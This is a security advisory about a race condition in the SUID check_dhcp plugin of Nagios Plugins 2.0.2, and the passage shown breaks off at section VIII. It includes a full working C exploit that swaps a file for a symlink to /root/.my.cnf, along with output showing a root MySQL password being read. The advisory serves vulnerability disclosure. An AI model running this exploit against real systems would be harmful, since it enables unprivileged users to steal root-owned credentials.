  ============================================= - Release date: 28.06.2014 - Discovered by: Dawid Golunski - Severity: Moderate =============================================     I. VULNERABILITY -------------------------   check_dhcp - Nagios Plugins = 2.0.2 Race Condition     II. BACKGROUND -------------------------   "Nagios is an open source computer system monitoring, network monitoring and infrastructure monitoring software application. Nagios offers monitoring and alerting services for servers, switches, applications, and services. It alerts the users when things go wrong and alerts them a second time when the problem has been resolved.   Nagios Plugins (Official)   The Nagios Plugins Development Team maintains a bundle of more than fifty standard plugins for Nagios and other monitoring applications that use the straightforward plugin interface originally invented by the Nagios folks. Each plugin is a stand-alone command line tool that provides a specific type of check. Typically, your monitoring software runs these plugins to determine the current status of hosts and services on your network.   Some of the provided plugins let you check local system metrics (such as load averages, processes, or disk space usage), others use various network protocols (such as ICMP, SNMP, or HTTP) to perform remote checks. This allows for checking a large number of common host and service types.     * check_dhcp plugin   This plugin tests the availability of DHCP servers on a network."   III. INTRODUCTION -------------------------   check_dhcp plugin (part of the official Nagios Plugins package) contained a vulnerability that allowed a malicious attacker to read parts of INI config files belonging to root on a local system. It allowed an attacker to obtain sensitive information like passwords that should only be accessible by root user.   This vulnerability was discussed in my previous advisory available at:   http://legalhackers.com/advisories/nagios-check_dhcp.txt http://www.exploit-db.com/exploits/33387/   The vulnerability was quickly patched by vendor in the release of nagios plugins version 2.0.2 however the security measures in the patch are not sufficient and the code is vulnerable to Race Condition attack. Race Condition makes it possible for an arbitrary user to read parts of a root-owned file despite the checks.   IV. DESCRIPTION -------------------------     Nagios Plugins 2.0.2 introduces the following checks before the SUID root check_dhcp program accesses a file provided by a user:   -----[ lib/parse_ini.c ]-----   /* We must be able to stat() the thing. */ if (lstat(i.file, &fstat) != 0) die(STATE_UNKNOWN, "%s %s\n", _("Can&apos;t read config file."), strerror(errno)); /* The requested file must be a regular file. */ if (!S_ISREG(fstat.st_mode)) die(STATE_UNKNOWN, "%s\n", _("Can&apos;t read config file. Requested path is not a regular file.")); /* We must be able to read the requested file. */ if (access(i.file, R_OK|F_OK) != 0) die(STATE_UNKNOWN, "%s %s\n", _("Can&apos;t read config file."), strerror(errno));   /* We need to successfully open the file for reading... */ if ((inifile=fopen(i.file, "r")) == NULL) die(STATE_UNKNOWN, "%s %s\n", _("Can&apos;t read config file."), strerror(errno));   ------------------------------   A configfile will only be opened if it is a regular file (not a symlink) and only if it is readable by the real user running the program (checked with access() call).   These checks prevent a user from accessing a file that is not owned by them e.g:   $ /usr/local/nagios/libexec/check_dhcp -v --extra-opts=mysql@/root/.my.cnf Can&apos;t read config file. Permission denied   However there&apos;s a possibility of a Race Condition here. If an attacker manages to create a symlink leading to /root/.my.cnf in the very short time window that occurs between the regular file/permission checks and the fopen() call then the attacker could still be successful in obtaining the contents of the file.     V. PROOF OF CONCEPT -------------------------   Below is an example exploit that demonstrates this attack.   -------[ checkdhcp_race_exploit.c ]-------   /* check_dhcp 2.0.2 Arbitrary Option File Read - Race Condition Exploit */ /* Created by Dawid Golunski (dawid@legalhackers.com) */ /* http://legalhackers.com */   #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h>   #define TARGET "/usr/local/nagios/libexec/check_dhcp" #define PROGARGS "--extra-opts=mysql@/tmp/access" #define ROOT_CONFIG"/root/.my.cnf" #define SYMLINK_FILE "/tmp/access"   #define MAX_DELAY 1500// adjust if necessary   int main(int argc,char **argv) { char *arg[] = {TARGET, PROGARGS, 0}; int randomnum = 0;   /* Create empty file , remove if already exists */ unlink(SYMLINK_FILE); open(SYMLINK_FILE, O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);   if(fork() == (pid_t)0){ /* Child Proc */ execvp(TARGET, arg); } else{ /* Parent Proc */ srand ( time(NULL) ); randomnum = ( rand() % MAX_DELAY );   usleep(randomnum); unlink(SYMLINK_FILE); /* Unlink the file */ symlink(ROOT_CONFIG, SYMLINK_FILE);/* Create symlink */   wait(NULL); }   return 0; }   -------------------------     Here is an example root mysql config file:   # cat /root/.my.cnf [mysqldump] quick   [mysql] # saved password for the mysql root user password=myRootSecretMysqlPass123     Here is the output of the running exploit:   $ while :; do ./checkdhcp_race_exploit; done   Invalid section &apos;mysql&apos; in config file &apos;/tmp/access&apos; Can&apos;t read config file. Requested path is not a regular file. Can&apos;t read config file. Requested path is not a regular file. Can&apos;t read config file. No such file or directory Can&apos;t read config file. Requested path is not a regular file. Can&apos;t read config file. No such file or directory Can&apos;t read config file. No such file or directory Can&apos;t read config file. Requested path is not a regular file. Can&apos;t read config file. Requested path is not a regular file. Can&apos;t read config file. No such file or directory /usr/local/nagios/libexec/check_dhcp: unrecognized option &apos;--password=myRootSecretMysqlPass123&apos; Usage: check_dhcp [-v] [-u] [-s serverip] [-r requestedip] [-t timeout] [-i interface] [-m mac] Invalid section &apos;mysql&apos; in config file &apos;/tmp/access&apos; Invalid section &apos;mysql&apos; in config file &apos;/tmp/access&apos; Invalid section &apos;mysql&apos; in config file &apos;/tmp/access&apos;   As we can see it succeeds after some failed runs.   VI. BUSINESS IMPACT -------------------------   Malicious user that has local access to a system where check_dhcp plugin is installed with SUID could exploitthis vulnerability to read any INI format config files owned by root andpotentially extract some sensitive information.   VII. SYSTEMS AFFECTED -------------------------   Systems with check_dhcp SUID binary installed as a part of Nagios Plugins 2.0.2 is vulnerable.   VIII.
